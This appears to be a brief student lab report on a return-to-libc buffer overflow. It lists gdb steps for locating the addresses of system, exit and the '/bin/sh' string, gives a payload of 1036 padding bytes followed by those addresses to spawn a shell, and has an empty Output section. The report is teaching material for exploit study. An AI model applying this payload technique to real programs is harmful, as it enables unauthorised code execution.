Report for Question 4

By 2018201103

- **Getting addresses of system, exit and /bin/sh**

  Using gdb to find the addresses
  b main
  r mal_file1.pgn
  p system
  p exit
  info proc map
  find <starting address of libc> , <end address of libc> , “/bin/sh”

- **Change in payload**

  payload = "A"*1036 + conv(0xb7e53310) + conv(0xb7e46260) + conv(0xb7f75d4c)

- **Output**